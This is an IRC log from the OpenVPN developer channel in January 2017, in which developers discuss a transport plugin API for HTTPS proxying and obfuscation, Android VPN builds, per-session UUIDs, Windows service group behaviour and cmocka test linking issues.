<@cron2> that was not the answer, and no, we're not going to depend on libcurl 06:06 <@cron2> (but I'm somewhat curious how they do that - so I have the fd, which is great, but what do I do with it? "read()" or "recvmsg()" isn't going to work) 06:17 <@plaisthos> cron2: what exactly is https proxy in your opionen? 06:17 <@plaisthos> does it do ssl over ssl for connect? 06:17 <@plaisthos> or terminate and new connection? 06:18 <@cron2> plaisthos: connect using ssl-over-tcp to something like a squid or apache, then issue CONNECT to make that one talk to "the openvpn server" 06:18 < MrNice> mattock: thx 06:18 <@cron2> so it would do SSL twice, once for "the https connect" and once for "the openvpn ssl" (with different certificates etc) 06:19 <@cron2> toying with the idea whether that is a useful addition to make openvpn work in seriously fucked-up networks that *do* permit https (but do not permit openvpn-on-443 because it does not look like "real SSL") 06:20 <@cron2> there's a discussion on openvpn-users, and while I can see the usefulness, I have no idea how costly it would be to implement 06:33 < ordex> cron2: sorry, I threw in a possibly helpful thing without knowing the scope. By the way, this is doable with an external tool - why introducing it in the codebase ? 06:33 < ordex> (I think) 06:34 <@syzzer> cron2: my first intuition is that it shouldn't be too hard, but it will not nicely fit into our current code base 06:35 <@syzzer> also, when we do ssl, people expect us to do SSL right, so we'll end up with yet another set of certificates and SSL connection parameters... 06:36 <@syzzer> but I still think that the right solution is to do such a thing in something like a plugin 06:45 <@plaisthos> yes 06:50 <@plaisthos> that would also allow the obfuscation plugins 06:50 <@plaisthos> and https proxy would be just a funny obfuscation :) 07:05 <@cron2> "someone" should come up with a good plugin API, and then we can rip out http proxy, ntlm auth, socks proxy, ... 07:05 * cron2 ducks 07:15 <@dazo> hehe ... 07:16 <@dazo> cron2: considering that we already have HTTP proxy support in our code, it should just be to use some SSL libraries to connect to the proxy's SSL port, then we should have an fd which can be used further within our existing proxy code 07:16 * cron2 loves sentences that start with "someone should..." :) 07:16 <@cron2> dazo: I can't imagine how that would work in C 07:16 <@cron2> a fd is not an object you can overload with your own recvmsg()/sendmsg() functions, but an integer that has meaning to system calls... 07:17 <@dazo> cron2: I haven't looked into mbedtls ... but openssl have a fairly reasonable read/write API ... which I believe we have abstracted already 07:18 <@cron2> well, you'd need to do "select(), read(fd), stuff_into_*ssl(), use_buf()" instead of "read(), use_buf()", as far as I understand 07:21 <@dazo> yeah ... the abstraction may very well be very different with how we're using the SSL libraries for openvpn traffic .... dunno about mbed TLS, but the native OpenSSL uses BIO objects (which is a connection) and then you have BIO_{read,write}(), where you receive/send plain text ... and the data is encrypted and sent to the remote side 07:22 <@dazo> but the OpenSSL library have a lot of similarly related functions, doing things slightly different 07:23 <@cron2> sure, but that means that we can't "just plug in the SSL library fd into our even framework" 07:24 <@dazo> not directly, some tweaks will be needed ... but as long as we can find some reasonable functions in both OpenSSL and mbedTLS we can abstract, it shouldn't be too bad 07:24 * cron2 points at syzzer's comment above :-) - and we really want this in a "transport plugin" 07:25 <@dazo> I can sure start poking at such a transport plug-in hook 07:26 <@dazo> it would help on the obfuscation stuff as well 07:26 <@dazo> ahh, here we have it ... https://wiki.openssl.org/index.php/Manual:BIO_s_socket%283%29 07:26 <@vpnHelper> Title: Manual:BIO s socket(3) - OpenSSLWiki (at wiki.openssl.org) 07:27 <@syzzer> yes, mbedtls also has a pretty simple API for 'give me a TLS connection' 07:28 <@dazo> the challenge with the SSL APIs is that you need to constantly check "can I read now? Do I need to write?" before doing read/write operations 07:28 <@syzzer> but that's not the problem. I'm afraid it won't fit into our currect code well, so I think we'd need to refactor the current code to add a better fitting abstraction. 07:29 <@syzzer> plus all the setup/teardown/gazillions of options 07:29 <@dazo> I fear you're right there, though ... these lower level APIs are currently hidden behind our current abstration 07:30 <@syzzer> either way, a well thought-out plugin interface probably makes most sense 07:31 <@syzzer> even if it were only that we can simply tell enthusiastic people to go and implement their awesome obfuscation/firewall-bypassing feature as a plugin. every now and then something nice might come out :) 07:32 <@syzzer> a https-proxy would be a very good use-case for such an interface though 07:32 <@dazo> I'd think it would be reasonable to add OPENVPN_PLUGIN_SOCKET_{READ,WRITE} functions to openvpn_plugin_func_v3() 07:33 <@dazo> where a buffer with the data to be read/written is passed to the function 07:35 <@cron2> you also need a connection setup and teardown function 07:36 <@dazo> cron2: that'd be arranged via the plug-in configuration 07:36 * dazo is on phone 07:57 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 07:58 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 07:58 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:03 -!- You're now known as ecrist 08:30 <@syzzer> dazo: will that work, switching from one remote to another, for example? 08:31 * syzzer is leaving for the airport now 08:31 <@dazo> syzzer: ahh, right ... it needs of course to get some information of which remote to use in CONNECT 08:38 <@vpnHelper> RSS Update - tickets: #810: OpenVPN 2.4 Interactive Service Cannot access user folder <https://community.openvpn.net/openvpn/ticket/810> 08:45 <@vpnHelper> RSS Update - tickets: #811: Cannot launch OpenVPN GUI with admin privileges <https://community.openvpn.net/openvpn/ticket/811> 08:45 <@dazo> ticket #811 is a new twist ..... 09:00 <@cron2> 811 is confusing, I think at least one "running with admin" should be "without" 09:08 <+krzee> haha ya 09:08 <+krzee> the final one must be 11:40 < slypknot> ecrist: mattock (et al) forum just crashed 12:01 <@ecrist> neato 12:01 <@ecrist> it appears to be up... 12:05 < slypknot> not to me .. 12:06 < slypknot> now it does ! 12:06 < slypknot> Now Not ! 12:06 < slypknot> it is not up :( 12:08 < slypknot> https://forums.openvpn.net/viewtopic.php?f=5&t=23122 12:08 < slypknot> https://forums.openvpn.net/viewtopic.php?f=4&t=23105 12:08 <@vpnHelper> Title: keepalive option does not work completely? - OpenVPN Support Forum (at forums.openvpn.net) 12:09 < slypknot> vpnhelper retieves the second link but not the first 12:11 < slypknot> https://forums.openvpn.net/ 12:11 <@vpnHelper> Title: OpenVPN Support Forum - Index page (at forums.openvpn.net) 12:11 < slypknot> weird I cannot load that page ! 12:13 < slypknot> Can't find record in 'phpbb_sessions' [1032] 12:13 < slypknot> SQL 12:13 < slypknot> SELECT u.*, s.* FROM phpbb_sessions s, phpbb_users u WHERE s.session_id = 'ccdf1554536e8c2f8a8b4350f2810d97' AND u.user_id = s.session_user_id 12:13 < slypknot> BACKTRACE 12:16 < slypknot> Even weirder : I can load the forum as tincantech but not as debbie10t 12:18 < slypknot> ecrist: I'll check later and see how it is 12:54 <@ecrist> I'll dig into the logs later tonight. 12:54 <@dazo> slypknot: try flushing out cookies related to the forum servetr 12:54 <@dazo> *server 13:00 < slypknot> dammmm cookies .. but i tried, was able to log in to the forum but in stantly crashed after that (did not even load index page once logged in) 13:03 <@ecrist> I'm not having any problems. 13:03 < slypknot> are you logged in ? 13:05 <@ecrist> I see it now 13:05 < slypknot> cool :) 13:05 <@ecrist> session table is marked crashed 13:07 <@ecrist> fixed now 13:07 <@ecrist> good catch, slypknot 13:07 <@ecrist> I didn't notice it wasn't logging me in until just before you pointed it out. 13:11 < slypknot> thanks :) 13:44 -!- Netsplit *.net <-> *.split quits: +krzee, @plaisthos 13:44 -!- Netsplit over, joins: plaisthos 13:45 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 13:46 -!- Netsplit over, joins: krzee 13:46 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:30 <+krzee> hey is openvpn3 (connect) compatible with 2.4? (tls-crypt, cipher negotiation, etc?) 14:32 <+krzee> whichever answer, maybe we should note it on https://staging.openvpn.net/openvpn3/ 14:32 <@vpnHelper> Title: OpenVPN 3 (at staging.openvpn.net) 14:53 <@cron2> cipher negotiation yes, tls-crypt not sure, maybe not 14:53 <@cron2> (brr, openvpn 3 still supports snappy :) ) 15:31 <@dazo> krzee: OpenVPN Connect does not support --tls-crypt ... cipher negotiations is a good question, I can test that soonish 15:31 <@dazo> that staging page should probably be removed ... that is quite outdated, afaik 15:32 <@dazo> (at least remove the tarball) 15:32 <@dazo> krzee: the updated stuff is here: https://github.com/OpenVPN/openvpn3 15:32 <@vpnHelper> Title: GitHub - OpenVPN/openvpn3 (at github.com) 15:34 < klow> krzee: I recently set up 2.4rc1 server and iOS connect. It seemed to auto negotiate AES-256-GCM I believe , but I had to disable the option "force CBC ciphersuites" which is in the iOS settings/OpenVPN 15:36 < klow> i'll be testing this again shortly 15:36 <@cron2> dazo: of course connect supports NCP :-) 15:37 <@cron2> (since James documented NCP basically as "this is what 3 does" - but I have actually tested it and it does what the docs say) 15:39 <@dazo> ahh :) ... Yeah, I thought I remembered NCP in the test client, but I've done so much testing there I could just as much have confused it with 2.4 testing in December :) 15:42 <@vpnHelper> RSS Update - tickets: #812: SIGUSR1 restart does not re-open tun even if the pushed ip address changes <https://community.openvpn.net/openvpn/ticket/812> 15:43 <@dazo> hmmm ... that sounds like related to commit ec4dff3bbdcc9fedf784470 15:47 < MrNice> mattock: will you sign ovpnserv2.exe with next release? was always signed and our vpn client fails if there are unsigned files, we won't fix that :D 21:17 <@ecrist> MrNice: it might be best to file a bugzilla 21:17 <@ecrist> that way, there's documentation --- Day changed Wed Jan 04 2017 00:22 < ordex> is there any reasonably easy way to build openvpn for android ? I guess the answer is no .. but maybe you have a pointer to some doc 01:10 <@cron2> dazo: unlikely 01:14 <@cron2> dazo: I stand corrected, Selva just sent a fix for that... *sigh* 01:20 <@cron2> ecrist: bugzilla? 01:32 <@vpnHelper> RSS Update - gitrepo: Fix push options digest update <https://github.com/OpenVPN/openvpn/commit/a5dbf8c8dab23c47407c3f833c4f4aae52408af1> 01:49 <@vpnHelper> RSS Update - gitrepo: Crash in options.c <https://github.com/OpenVPN/openvpn/commit/49629380a7bdba25c24c9d410b79946fe29249f0> 03:48 <@plaisthos> ordex: what you mean with easy way? 03:48 <@plaisthos> ordex: There is: https://github.com/schwabe/ics-openvpn/blob/master/doc/README.txt 03:48 <@vpnHelper> Title: ics-openvpn/README.txt at master · schwabe/ics-openvpn · GitHub (at github.com) 03:54 <@plaisthos> ordex: or just ask me 05:11 < ordex> plaisthos: thanks! I'll have a look at the README first 07:32 <@ecrist> cron2: I meant the FreeBSD bugzilla 07:42 <@cron2> ecrist: for an openvpn-on-windows bug? *rub eyes* *get coffee* 08:27 <@plaisthos> where else would you report a windows bug :) 08:28 < slypknot> cron2: builbot mailed me that a slave failed (tincan-deb8) on --disable-server --enable small .. I just ran autoreconf -ivf, ./configure --disable-server --enable-small, make with no error that I can see, this does not look like something i should wrorry about 08:40 <@cron2> slypknot: so what *exactly* did buildbot mail you? compile error, shell error, t_client error? these mails are long 09:52 < ordex> I think I missed part of the discussion yesterday, but what is the overall feeling about supporting HTTPs in the OpenVPN codebase? when I left the chat my understanding was: better to implement an API and let a plugin do so - was this the "definitive" conclusion ? 09:52 < ordex> cron2, dazo ^^ ? 10:12 <@cron2> no definitive conclusion. syzzer said "our code base is not suited today to do it", dazo said "it should be doable in the plugin interface" 10:55 <@plaisthos> from the socket code, adding a good plugin interface+https proxy plugin is about as much work as to directly integrate it into openvpn 11:03 <@ecrist> ordex: what is the end goal? 11:12 * dazo looks up 11:15 <@dazo> ordex: There will always be requests for new ways to do the transport layer between openvpn processes (yesterday on #openvpn, there where discussions about using DNS queries, a variant of what iodine provides) ... so having a sane and flexible API for plug-ins to hook into is a reasonable approach to consider 11:16 <@dazo> That way the plugin can allow OpenVPN connections HTTPS, DNS, obfs, ICMP, XMPP or whatever crazy stuff people make manage to think up and hack together ... without us needing to care much at all 11:18 <@dazo> (and of course, the plugin can take care of various obfuscations as well) 11:20 <@dazo> Perhaps we should even put our own socket connection/read/write code into such a plug-in which is loaded by default unless another is configured ....... 11:22 <@dazo> plaisthos: you're right that it will require some efforts getting the plug-in API and HTTPS proxy connection plug-in written ... but once that's done, adding new transport mechanisms will be much easier 11:22 <@dazo> (and we can make tell people to write their own plug-in whenever these XOR patch discussions surfaces again) 13:45 -!- Netsplit *.net <-> *.split quits: @vpnHelper, @syzzer 13:46 -!- Netsplit over, joins: syzzer 13:46 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 13:47 -!- Netsplit over, joins: vpnHelper 13:47 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 13:55 <@vpnHelper> RSS Update - tickets: #811: Cannot launch OpenVPN GUI without admin privileges <https://community.openvpn.net/openvpn/ticket/811> 13:55 <@plaisthos> cron2: oh good catch @ 809 13:57 <@cron2> that particular error message stands out... 14:40 <@vpnHelper> RSS Update - tickets: #813: Travis and Buildbot builds are broken due to MacOS X + cmocka issue <https://community.openvpn.net/openvpn/ticket/813> 15:02 < slypknot> mattock: https://community.openvpn.net/openvpn/ticket/804#comment:8 .. exactly 15:02 <@vpnHelper> Title: #804 (OpenVPNService can't restart on boot) – OpenVPN Community (at community.openvpn.net) 15:07 < slypknot> mattock: there is not much else to test with a VM. I did like so: 15:07 < slypknot> (1) reporoduce OK 15:07 < slypknot> (2) get annoyed at windows .. 15:08 < slypknot> (3) try some stuff .. until I realized what was going on (almost instantly confirmed by cron2) 15:09 < slypknot> (4) test the original probllem with "fast-start" disabled (in windows) 15:09 < slypknot> ... Result: Service was started again .. 15:15 < slypknot> I would prefer you add tincantech as CC in future .. thankyou :) 15:20 < slypknot> I would like to be CC'd for Windows 10 Trac until further notice if possible via tincantech please 15:20 <@plaisthos> slypknot: it is easier to be cc'ed for everything and what the tickets here and subscribe if you are intrested 15:21 < slypknot> plaisthos: OK that also works for me .. but I have not figured out how or if I can do that ? 15:22 < slypknot> i watch the channel for updates 15:23 < slypknot> I have a dedicated W10 pc for testing .. so may as well make the most of it 15:28 < slypknot> .. 15:28 < slypknot> it is not possible for me to add or remove a CC 15:36 < slypknot> and #804 is *not* an openvpn bug ! 15:42 <@mattock> slypknot: can you PM your preferred email address to me? 15:42 <@mattock> like _now_ if possible :P 15:44 <@mattock> closed #804 15:44 <@mattock> -> sleep 15:54 < danhunsaker> This seems useful... https://github.com/fizerkhan/irc-etiquette 15:54 <@vpnHelper> Title: GitHub - fizerkhan/irc-etiquette: IRC Etiquettes for Hackers (at github.com) 19:06 <@vpnHelper> RSS Update - tickets: #814: Display cipher negotiated in NCP in status output <https://community.openvpn.net/openvpn/ticket/814> 21:14 -!- Netsplit *.net <-> *.split quits: @cron2, s7r 23:43 < ordex> dazo: thanks for the summary :) --- Day changed Thu Jan 05 2017 01:23 -!- cron2_ [~hunger@openvpn/community/developer/cron2] has joined #openvpn-devel 01:23 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 02:18 < ordex> dazo: using a plug-in api would definitely make it easier to maintain and also easier to extend (no need to rebuild/distribute openvpn, but only create a new plugin) and at the same time easier to distribute/install than using an external tool 02:18 < ordex> I guess the whole problem now is designing the API, even before putting effort in implementing it :) 02:31 < ordex> plaisthos: thanks for the links. I was dreaming about compiling an app without installing sdk and ndk :P 02:38 <@plaisthos> I am not sure how that would work :P 02:38 <@plaisthos> (you can get away without ndk if you extract the libs from a already compiled apk) 02:52 < ordex> yeah, not sure how that would work too, that's why I was just dreaming :D 04:24 <@plaisthos> in #openvpn I was just reminded that we do not document our v2 compression support anywhere 04:25 <@plaisthos> and we even tell users to use lz4 in the manpage instead of lz4v2 :/ 05:19 <@dazo> hmmmm 06:34 < ordex> dazo: for the transportation layer plugin it might be required to have a config() callback as well - the plugin may need some parameters (i.e. another CA/cert/key or anything else). not sure if this is implemented already 07:04 <@dazo> ordex: you might be right 07:09 < ordex> plaisthos: does Android support netlink messages? especially rtnl ? 07:09 * ordex would like to test that 07:45 <@plaisthos> ordex: no idea 07:45 < ordex> oh ok - do you know who took care of writing the TARGET_ANDROID part in route.c/tun.c ? 07:45 <@plaisthos> me 07:46 <@plaisthos> for most part I don't bother with low level networking 07:46 <@plaisthos> the only place where I use low level stuff is to get the interfaces to allow VPN route excemption 07:47 <@plaisthos> ordex: most stuff of openvpn is just being proxied to VPNService 07:47 <@plaisthos> https://developer.android.com/reference/android/net/VpnService.html 07:47 <@vpnHelper> Title: VpnService | Android Developers (at developer.android.com) 07:47 <@plaisthos> a lot of the glue logic is actually implemented in Java 07:47 < ordex> oh ok 07:47 <@plaisthos> since it is not of much use on other platform 07:47 <@plaisthos> ordex: did you see the doc/android.txt? 07:47 < ordex> plaisthos: yeah I saw the route thing for IPv6 and it is using rtnl, that is why I was asking 07:48 < ordex> maybe not 07:48 < ordex> I will give it a look 07:48 <@plaisthos> all the routing nastiness is handled by Android :) 07:48 <@plaisthos> you just tell Android what routes you want 07:49 <@plaisthos> look at https://developer.android.com/reference/android/net/VpnService.Builder.html 07:49 <@vpnHelper> Title: VpnService.Builder | Android Developers (at developer.android.com) 07:49 <@plaisthos> that is basically all the API a VPN application uses 07:54 < ordex> oh I see 07:55 < ordex> this way there is no need to deal with lowe level stuff all .. just use the common middle layer. cool :) 07:57 <@plaisthos> if you look into what android does behind the scenes in 5.0+ you are happy to use just that API :) 07:58 <@plaisthos> very complex policy routing, iptables marks etc ... 07:58 <@plaisthos> and of course routing by uid 08:25 < ordex> urgh, I can imagine 08:25 < ordex> but as soon as this is all covered by the API..that's fine :D 08:25 < ordex> eheh 08:37 <@plaisthos> unless Samsung or Oppo breaks it for no reason :0 08:37 <@plaisthos> or CM 08:43 < ordex> well, CM is not something worry about anymore :) 09:12 <@dazo> LineageOS ftw! 09:12 <@dazo> :) 09:37 <@ecrist> dazo: how realistic would it be for OpenVPN to track a unique session ID? 09:38 <@ecrist> There's tricks that can be done to support this in a database, but it would be neat if openvpn could generate a UUID for each connected session, for example. 09:54 <@plaisthos> we have the tls session id 09:56 <@ecrist> does that change during re-keying? 09:56 <@plaisthos> hm 09:56 <@plaisthos> not sure 10:01 < slypknot> peer-id is not changed at re-keying 10:02 < slypknot> could also use --client-connect etc 10:02 < slypknot> I more or less do that in bash as it stands 10:03 <@plaisthos> slypknot: only for peer-id enabled client 10:03 <@plaisthos> and peer-id gets reused 10:05 < slypknot> ah .. yes indeed 10:26 <@dazo> ecrist: there are now explicit unique ids available for scripts/plugins as things are currently .... and not all of the information you can use to identify a session is available in all script hooks even. I've had the same challenge in eurephia ... IIRC, I ended up generating some unique ID and save it in a session context OpenVPN provides and that session context is available in all further plug-in calls. However, that is a plug-in ... 10:26 <@dazo> nothing similar is available for any of the script hooks 10:27 <@dazo> ecrist: feel free to open a feature request in trac and assign it to me, if you find it useful to have 11:54 <@ecrist> will do, thanks. 11:54 <@ecrist> there are tricks I can do with scripting, but they're just that, tricks 12:22 < danhunsaker> I know plenty of people who make a living off of doing tricks with scripting. 12:23 < danhunsaker> I absolutely hate trying to help maintain their code. 12:23 <@dazo> heh 14:04 <@ecrist> dazo, incoming 14:09 <@vpnHelper> RSS Update - tickets: #815: UUID via environment for each session <https://community.openvpn.net/openvpn/ticket/815> 14:19 <@dazo> thx! 14:40 <@ecrist> no problem. let me know if sometihng isn't clearn. 14:40 <@ecrist> clear* 19:23 -!- Netsplit *.net <-> *.split quits: @mattock 19:23 -!- Netsplit *.net <-> *.split quits: @dazo, danhunsaker 19:25 -!- Guest44814 [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 19:25 -!- Netsplit over, joins: mattock 19:25 -!- mode/#openvpn-devel [+o Guest44814] by ChanServ 19:25 -!- mode/#openvpn-devel [+o mattock] by ChanServ 19:32 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has joined #openvpn-devel 19:40 < ordex> morning ! 19:40 < ordex> :) 20:12 <@ecrist> nope, evening 20:13 <@ecrist> Thu Jan 5 20:13:08 CST 2017 20:16 < ordex> :) --- Day changed Fri Jan 06 2017 02:41 -!- Netsplit *.net <-> *.split quits: @mattock, +krzee, @plaisthos, @cron2_, danhunsaker, @syzzer, @Guest44814 02:46 -!- Netsplit over, joins: danhunsaker, @mattock, @Guest44814, @cron2_, @syzzer, +krzee, @plaisthos 06:19 -!- Guest44814 is now known as dazo 09:38 <@dazo> mattock: https://twitter.com/_youhadonejob1/status/817380069559701504 12:01 <@mattock> dazo: I have no doubt that is true :P 12:06 <@dazo> :) 13:47 <@vpnHelper> RSS Update - tickets: #816: 'auth' is used inconsistently, local='auth [null-digest]', remote='auth SHA512' <https://community.openvpn.net/openvpn/ticket/816> 15:26 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel --- Day changed Sat Jan 07 2017 04:56 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 256 seconds] 05:19 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 05:19 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 07:10 <@plaisthos> Android 7.1.1 will not ask a DNS server for AAAA records anymore if the device has no IPv6 connection 07:10 <@plaisthos> even though the vpn has ipv6 connectivity and the dns server is a ipv6 dns server 07:11 <@plaisthos> I see queries to a dns6 server that query only A recordes ... 07:21 <@vpnHelper> RSS Update - tickets: #817: Changing metric instead adding <https://community.openvpn.net/openvpn/ticket/817> 12:27 < slypknot> Just curious about #756, is it a total impossibility to bind to an interface rather than IP address ? 12:44 <@cron2_> plaisthos: oh the fun with OS vendors where the teams do not talk to each other... "we have a VPN API? waht?" 12:44 <@cron2_> slypknot: the generic socket API "bind()" call takes an IP address structure, not an interface name 12:45 <@cron2_> *some* OSes have "bindtoname" calls, but that's very non-portable 12:47 < slypknot> cron2_: ok thanks .. I was just curious 23:23 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 23:28 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 23:28 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 23:28 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 23:28 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 23:28 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ --- Day changed Sun Jan 08 2017 00:05 < ordex> is it possible to bind multiple ports in the same instance and possibly different protocols ? (the latter is probably unlikely) even been a feature request ? 01:38 <+krzee> ordex: afaik not yet 01:39 <+krzee> but theres been a lot of cleanup in that code 01:39 <+krzee> just being able to listen on ipv4 + ipv6 is new 05:20 < ordex> I see 06:51 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 240 seconds] 06:53 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 06:53 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 07:08 <@syzzer> ordex, krzee: d12fk has been working on that 07:08 <@syzzer> but it's not done, afair 07:09 <@syzzer> as for other things: my bouncer seems to have decided to not log anymore, so if there was anything important from the past week, post me plz ) 07:10 <@syzzer> s/post/poke/ 07:34 < ordex> syzzer: oh ok, that's an interesting topic 07:35 < ordex> mh but he is not here :( 07:35 <@syzzer> he'll be around again at some point 07:35 <@syzzer> or you can mail him, Heiko Hund on the ml 07:40 < ordex> thanks :) 07:57 <@cron2_> krzee: the "listen on v4+v6" was always there, as it's a feature of the socket stack (on all but OpenBSD). The "new" bit is that it is no longer necessary to do a manual sysctl setting first to get dual-stack sockets 08:17 < ordex> listening on multiple ports would be quite interesting .. 09:23 <@cron2_> indeed 09:23 <@cron2_> d12fk is rumored to have a prototype... 11:25 <+krzee> cron2_: oh interesting thank you 12:18 -!- [0xAA] is now known as ZeroPings 13:00 < slypknot> Houston .. we have a problem .. 2.4.0-i601 *but* it does *not* create openvpn-asdministrator group 13:00 < slypknot> i just installed to test this: https://forums.openvpn.net/viewtopic.php?f=6&t=23168 13:00 <@vpnHelper> Title: openVPN 2.4.0 Win10 new interactive service group problem - OpenVPN Support Forum (at forums.openvpn.net) 13:00 < slypknot> re-installed infact 13:11 -!- ZeroPings is now known as [0xAA] 13:32 < slypknot> just re-installed 2.4.0-i601 (again, from scratch) there is no "Openvpn Administrators" group created .. launched installer "logged in as and run as admin" 13:33 < slypknot> Is the group created some other way ? 13:51 < slypknot> selvanair: hello 14:29 <@vpnHelper> RSS Update - tickets: #818: easy-rsa package does not contain windows binaries <https://community.openvpn.net/openvpn/ticket/818> 14:34 -!- mollox is now known as wingnut 14:36 <@vpnHelper> RSS Update - tickets: #819: Packaging into pkcs12 can not handle spaces in filenames <https://community.openvpn.net/openvpn/ticket/819> 14:52 < slypknot> mattock: CC'ing one-self on track would seem like common sense ? 16:33 < slypknot> are youz guyz all holdin' your breath ?? 17:06 < selvanair> slypknot: The group is not automatically created as not everyone needs it. If needed the GUI will prompt the user and offer to create it and add the user to it. 18:46 < slypknot> selvanair: i missed that discussion 18:47 < slypknot> how does one enable creation of said group ? 18:53 < slypknot> I believe the group is an absolute requirement of installation .. personally 18:54 < slypknot> otherwise the interactive service isd a joke 18:54 < slypknot> there is no "install" option .. 18:56 < slypknot> .. 18:57 < slypknot> who lewt the DOGS in ? 18:58 * slypknot is NOT happy 18:59 < slypknot> "OpenVPM Administrators" BY default ........ 19:00 < slypknot> .. 19:00 < slypknot> xmas rush .. 19:00 < slypknot> . 19:00 < slypknot> _ 19:01 < slypknot> some fkkr gtta moan about it 19:02 < slypknot> some fkkr dont mess shit up 19:02 < slypknot> and some body pull their ass up 19:03 < slypknot> .. 19:03 < slypknot> walk on bye 19:06 < slypknot> _ 19:10 < slypknot> I have no friends already .. 19:12 < selvanair> slypknot: if your configs are in C:\Program Files\OpenVPN\config the group is not required -- interactive service will be still used and openvpn will run as user without admin privileges 19:13 < slypknot> selvanair: are you pulling my leg ? 19:14 < selvanair> If the user is in the admin group (I bet 90% of Windows users are) but UAC does not enable the admin bit in the process tokens, again the group is not required. Configs from any location can be started, interactive service will be used and openvpn will run with limited privileges 19:15 < selvanair> The rest of the folks need the group but the GUI will let them know when its needed and show a UAC prompt to create the group and add the user. So just relax and use the GUI. 19:18 < slypknot> bollox 19:18 < slypknot> what ever yopu think is going on 19:20 < slypknot> this is ridiculous 19:20 < slypknot> the "Openvpn Admin" group is *not 19:20 < slypknot> * created .. 19:20 < slypknot> how can that be LOGICAL --- Log closed Sun Jan 08 19:32:42 2017 --- Log opened Mon Jan 09 06:31:39 2017 06:31 -!- Irssi: #openvpn-devel: Total of 26 nicks [6 ops, 0 halfops, 1 voices, 19 normal] 06:31 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 06:31 -!- Irssi: Join to #openvpn-devel was synced in 9 secs 06:33 <@syzzer> dazo: hehe, order-revealing crypto has always been a bit sketchy, because it *by definition* leaks information about the plain text (just like this property-preserving encryption). Quite nice that someone actually took to time to show that! 06:34 <@dazo> :) 06:34 <@syzzer> (I haven't read the paper, but the abstract and the figures on page 5 and 6 show plenty ;) ) 06:35 <@dazo> yeah, that's basically what I very quickly looked at myself ... but good to know it actually have some merits, then I can definitely spend a little time looking for carefully at it :) 06:37 <@syzzer> don't spend too much time on it, just remember that 'efficient database encryption is really hard' ;) (That's what these things are mostly useful for) 06:38 <@dazo> ah, I see 06:38 <@dazo> thx! 06:40 <@plaisthos> cron2: That Android 7.1.1 is more sketchy, Firefox is fine 06:40 <@plaisthos> so either Chrome or Firefox has its own DNS resolver 06:40 <@plaisthos> but only on 7.1.1?! 06:41 <@plaisthos> I would guess that firefox does its own resolving since there were bug reports about firefox not using the VPN's DNS server 13:10 <@vpnHelper> RSS Update - gitrepo: Remove deprecated --no-iv option <https://github.com/OpenVPN/openvpn/commit/ef910e3e3a6c608a47de0b84b83c3a2331440359> 14:05 <@vpnHelper> RSS Update - gitrepo: Always release dhcp address in close_tun() on Windows. <https://github.com/OpenVPN/openvpn/commit/db5b9b45508ea8f66ea80565279af3edd9300499> 14:12 <@cron2> plaisthos: are you around? 14:30 <@cron2> someone with access to macos and cmake could test https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg13843.html 14:30 <@vpnHelper> Title: Re: [Openvpn-devel] https://travis-ci.org/OpenVPN/openvpn/builds (at www.mail-archive.com) 15:13 <@plaisthos> cron2: yeah 15:13 <@plaisthos> I am around now 15:16 <@plaisthos> any special test instructions? 15:17 <@plaisthos> config says 15:17 <@plaisthos> !! WARNING !! CMake is NOT available or not using GNU ld. Unit testing cannot be performed. 15:17 <@plaisthos> checking for cmake... cmake 15:50 < m-a> cmock needed 15:50 < m-a> cmocka 15:52 <@cron2> plaisthos: that is the output I had hoped for - namely "if there is no GNU ld, disable cmocka" 15:52 <@dazo> m-a: it's a bit more complicated .... osx builders with clang explodes, due to that version not supporting -lwrap in the linker 15:53 <@cron2> maybe not the best approach, tho - maybe we should just disable those tests that need -Wl,wrap instead 15:53 <@dazo> I think that is somewhat better, yes 15:53 <@dazo> I am not happy about the configure.ac approach though, smells more like a workaround hack to me 15:54 <@dazo> I do see it can work around this issue .... but I do not like this approach 15:54 <@cron2> if we need -wrap, we need GNU ld, and configure.ac is the logical place to check for it 15:54 < m-a> what's that -lwrap, anyways? Is that the venerable TCP wrappers library? 15:54 <@cron2> m-a: no, it's "when linking this function, link something else instead" (-lwrap=foo -> foo() links wrap_foo() or so) 15:54 <@dazo> m-a: it's wrapping a function into a different function, kind of ... to avoid having to add code from the complete openvpn source code 15:55 <@dazo> (in our unit test code, that is) 15:55 <@cron2> GNU ld feature 15:55 <@dazo> it exists in LLVM too, from what I can see ... but probably only in some versions 15:55 <@dazo> GNU ld have carried the longest, though 15:56 <@cron2> dazo: it does? 15:56 < m-a> '--wrap=SYMBOL' 15:56 < m-a> Use a wrapper function for SYMBOL. Any undefined reference to 15:56 < m-a> SYMBOL will be resolved to '__wrap_SYMBOL'. Any undefined 15:56 < m-a> reference to '__real_SYMBOL' will be resolved to SYMBOL. 15:56 < m-a> ^ ah, that one 15:56 <@cron2> m-a: right 15:56 <@dazo> cron2: from what I've seen on stackexchange and a few other searches on the net .... but I do think it is a fairly new feature to the LLVM linker (lld) 15:57 < m-a> https://cmocka.org/archive/cmocka/search.php comes up empty for me 15:58 